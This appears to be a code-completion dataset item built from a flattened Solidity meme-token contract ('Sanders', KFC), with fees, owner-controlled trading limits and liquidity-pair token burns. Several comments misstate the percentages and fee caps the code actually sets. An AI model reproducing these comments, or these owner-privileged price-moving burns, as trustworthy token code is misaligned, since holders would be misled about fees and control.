function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
/* pragma solidity ^0.8.0; */
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
////// src/Sander.sol
/* pragma solidity >=0.8.10; */
/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */
/* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */
contract Sanders is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Sanders", "KFC") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 12;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 12;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 50_000_000 * 1e18; // 1% from total supply maxTransactionAmountTxn
maxWallet = 50_000_000 * 1e18; // 2% from total supply maxWallet
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(0x675eC677f76D79Bb2dDA8Cb14CfA878Eda9191f6); // set as marketing wallet
devWallet = address(0x675eC677f76D79Bb2dDA8Cb14CfA878Eda9191f6); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 10, "Must keep fees at 10% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 10, "Must keep fees at 1% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | exclude from paying fees or having max transaction amount | constructor() ERC20("Sanders", "KFC") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 12;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 12;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1_000_000_000 * 1e18;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
